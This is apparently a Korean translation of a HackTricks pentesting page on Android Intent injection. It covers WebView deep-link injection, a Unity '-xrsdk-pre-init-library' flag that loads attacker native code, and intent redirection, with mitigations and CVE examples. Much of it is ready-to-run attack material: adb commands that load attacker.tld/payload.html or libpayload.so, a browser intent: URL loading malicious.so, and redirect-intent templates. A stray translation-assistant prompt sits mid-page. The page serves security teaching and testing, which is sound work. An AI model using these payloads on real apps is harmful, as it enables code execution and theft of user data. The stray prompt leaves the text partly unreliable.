Intent Injection

Reading time: 12 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Intent injection은 공격자가 제어하는 Intents 또는 이후 Intents로 변환되는 데이터를 수용하는 컴포넌트를 악용합니다. Android app pentests에서 매우 흔한 두 가지 패턴은 다음과 같습니다:

  • 조작된 extras를 exported Activities/Services/BroadcastReceivers로 전달하고, 그 extras가 이후 privileged한 non-exported 컴포넌트로 전달되는 경우.
  • exported된 VIEW/BROWSABLE deep link를 트리거하여 공격자가 제어하는 URL을 내부 WebViews나 다른 민감한 처리 지점으로 전달하는 경우.

If an app exposes a custom scheme deep link such as:

text
myscheme://com.example.app/web?url=<attacker_url>

수신 Activity가 url 쿼리 매개변수를 WebView로 전달하면, 앱이 자체 WebView 컨텍스트에서 임의의 원격 콘텐츠를 렌더링하도록 강제할 수 있습니다.

adb를 통한 PoC:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • 앱의 WebView 프로세스 내에서 HTML/JS가 실행됩니다.
  • JavaScript가 활성화되어 있는 경우(기본값이거나 체크 순서가 잘못되어 발생) 노출된 @JavascriptInterface 객체를 열거/사용하고, WebView 쿠키/로컬 스토리지를 탈취하며, 피벗할 수 있습니다.

See also:

Webview Attacks

체크 순서 버그로 JavaScript가 활성화됨

반복적으로 발생하는 버그는 최종 URL 허용목록/검증이 완료되기 전에 JavaScript(또는 다른 관대한 WebView 설정)를 활성화하는 것입니다. 초기 헬퍼들이 당신의 딥링크를 수락하고 WebView가 먼저 구성되면, 이후 검사가 잘못되었거나 너무 늦더라도 최종 로드 시 JavaScript가 이미 활성화된 상태로 로드됩니다.

디컴파일된 코드에서 찾아야 할 것:

  • URL을 다르게 파싱/분할/재구성하는 여러 헬퍼(정규화가 일관되지 않음).
  • 마지막 호스트/경로 허용목록 검사 이전에 getSettings().setJavaScriptEnabled(true)를 호출하는 경우.
  • 파이프라인 예: 파싱 → 부분 검증 → WebView 구성 → 최종 검증 → loadUrl.

Mitigations

  • 한 번만 정규화하고 엄격하게 검증하세요; 실패 시 차단(fail closed).
  • 모든 검사가 통과한 후, 신뢰된 콘텐츠를 로드하기 직전에만 JavaScript를 활성화하세요.
  • 신뢰되지 않은 오리진에 브리지를 노출하지 마세요.

Unity 런타임: Intent-to-CLI extras → pre-init 네이티브 라이브러리 주입 (RCE)

Unity 기반 Android 앱은 일반적으로 진입 Activity로 com.unity3d.player.UnityPlayerActivity(또는 UnityPlayerGameActivity)를 사용합니다. Unity의 Android 템플릿은 unity라는 이름의 특별한 Intent extra를 Unity 런타임의 명령줄 플래그 문자열로 취급합니다. 진입 Activity가 exported 되어 있는 경우(많은 템플릿에서 기본값), 로컬 앱이나 (BROWSABLE이 있는 경우) 때로는 웹사이트도 이 extra를 제공할 수 있습니다.

문서화되지 않은 위험한 플래그는 프로세스 초기화 매우 초기에 네이티브 코드 실행으로 이어집니다:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW)가 초기화 초기에 호출되어 대상 앱 프로세스 내에서 공격자가 제어하는 ELF를 해당 UID 및 권한으로 로드합니다.

Reverse-engineering excerpt (simplified):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Why it works

  • Intent extra unity는 Unity runtime flags로 파싱됩니다.
  • pre-init flag를 제공하면 Unity가 허용된 linker namespace path 내의 attacker-controlled ELF 경로를 가리키게 됩니다(아래 제약 참조).

Conditions for exploitation

  • Unity entry Activity가 exported되어 있습니다(보통 기본값은 true입니다).
  • 브라우저를 통한 one-click 원격의 경우: entry Activity는 android.intent.category.BROWSABLE도 선언하여 extras가 intent: URL에서 전달될 수 있습니다.

Local exploitation (same device)

  1. payload ELF를 victim app이 읽을 수 있는 경로에 배치합니다. 가장 쉬운 방법: 자신의 attacker app에 malicious library를 포함시키고 attacker’s manifest에서 설정하여 /data/app/.../lib/<abi>/ 아래에 추출되도록 합니다:
xml
<application android:extractNativeLibs="true" ...>
  1. CLI pre-init 플래그를 unity extra에서 사용하여 피해자의 Unity activity를 실행합니다. 예시 ADB PoC:
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (카메라/마이크/네트워크/스토리지 등) and access to in-app sessions/data.

Notes

  • The exact /data/app/... path varies across devices/installs. 공격자 앱은 런타임에 getApplicationInfo().nativeLibraryDir를 통해 자신의 native lib 디렉토리를 얻어 트리거에 전달할 수 있습니다.
  • The file need not end with .so if it is a valid ELF – dlopen() cares about ELF headers, not extensions.

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

하지만 최신 Android에서는 dynamic linker namespaces와 SELinux가 많은 공개 경로(예: /sdcard/Download)에서의 로딩을 차단합니다. 다음과 같은 오류가 표시됩니다:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

우회 전략: 공격자가 제어하는 바이트를 앱의 private 저장소 아래(예: HTTP caches)에 캐시하는 앱을 목표로 합니다. 허용된 경로에 /data와 앱의 private dir가 포함되어 있으므로, -xrsdk-pre-init-library를 앱의 캐시 내 절대 경로로 지정하면 linker 제약을 충족하여 코드 실행을 얻을 수 있습니다. 이는 다른 Android 앱들에서 경험한 이전의 cache-to-ELF RCE 패턴과 유사합니다.

기타 고전적인 Intent injection primitives

  • startActivity/sendBroadcast: 공격자가 제공한 Intent extras를 전달하고, 이들이 나중에 재파싱(Intent.parseUri(...))되어 실행되는 경우.
  • 권한 검사 없이 Intents를 non-exported 민감한 컴포넌트로 전달하는 exported 프록시 컴포넌트.

자동화된 exported-component 테스트 (Smali 기반 ADB 생성)

exported 컴포넌트가 특정 extras를 기대할 때, 페이로드 형태를 추측하면 시간 낭비와 거짓 음성(false negatives)이 발생합니다. Smali에서 키/타입을 직접 자동으로 발견하고 바로 실행 가능한 adb 명령을 생성할 수 있습니다.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: Smali를 decompile하고 getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() 같은 호출을 스캔하여 각 컴포넌트가 소비하는 extras와 필드를 추론합니다.
  • Output: 모든 exported Activity/Service/Receiver/Provider에 대해, 도구는 짧은 설명과 정확한 adb shell am .../cmd content ... 명령을 올바른 타입의 플래그와 함께 출력합니다.

설치

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

사용법

bash
python apk-components-inspector.py target.apk

원문 내용을 붙여넣어 주세요. 내용을 받으면 요청하신 규칙(코드·링크·태그·경로는 번역하지 않음)을 그대로 지켜 즉시 한국어로 번역해 드리겠습니다.

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras 치트 시트 (타입 인식 플래그)

  • 문자열: --es key value | 문자열 배열: --esa key v1,v2
  • 정수: --ei key 123 | 정수 배열: --eia key 1,2,3
  • 불리언: --ez key true|false
  • Longs: --el key 1234567890
  • 실수: --ef key 1.23
  • URI (extra): --eu key content://... | 데이터 URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null 문자열 extra: --esn key
  • 공통 플래그: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro tips for Providers

  • 에이전트 없이 ContentProviders에 접근하려면 adb shell cmd content query|insert|update|delete ... 를 사용하세요.
  • SQLi 탐색을 위해, 기본 provider가 SQLite 기반일 경우 --projection--where (즉 selection)을 다양하게 시도하세요.

Full-pipeline automation (interactive executor)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

헬퍼 스크립트 (줄이 이어진 것을 병합하고, adb로 시작하는 줄만 실행함):

python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Run on-device: 인스펙터는 Python 기반이며 Termux 또는 apktool/androguard를 사용할 수 있는 루팅된 휴대폰에서 동작합니다.


Intent Redirection (CWE-926) – 탐지 및 악용

Pattern

  • 내보내진 엔트리 포인트(Activity/Service/Receiver)가 수신된 Intent를 읽고 출처/데이터를 검증하지 않은 채 내부 또는 외부로 전달함, 예:
  • startActivity(getIntent())
  • startActivity(intent) where intent came from an extra like redirect_intent/next_intent/pending_intent or Intent.parseUri(...).
  • action/data/component 필드를 검증 없이 신뢰함; 호출자 신원을 확인하지 않음.

What to search in Smali/Java

  • getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...)의 사용.
  • 공격자가 조작한 Intent에 대해 직접 startActivity(...), startService(...), sendBroadcast(...) 호출.
  • getCallingPackage()/getCallingActivity() 검증 또는 커스텀 권한 체크가 없음.

ADB PoC templates

  • Proxy Activity forwarding an extra Intent to a privileged internal Activity:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • 외부에 노출된 Service로서 redirect_intent parcelable을 처리하는 경우:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver가 검증 없이 중계함:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTask-style 동작에 유용한 플래그

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

실제 사례 (영향은 다양함):

  • CVE-2024-26131 (Element Android): exported flows로 인해 WebView manipulation, PIN bypass, login hijack이 발생함.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → 시스템 수준의 영향.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (사용자 상호작용 필요).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents가 내용을 leak함.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

완화 (개발자 체크리스트)

  • 들어오는 Intent를 직접 전달하지 말고, 허용된 필드를 정제(sanitize)하여 재구성하십시오.
  • 필요하지 않다면 android:exported="false"로 노출을 제한하십시오. Exported components는 permissions 및 signatures로 보호하세요.
  • 호출자 신원(getCallingPackage()/getCallingActivity())을 확인하고, 앱 내부 네비게이션에는 explicit Intents를 강제하십시오.
  • 사용 전에 actiondata(scheme/host/path)를 모두 검증하세요; 신뢰되지 않은 입력에는 Intent.parseUri 사용을 피하십시오.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기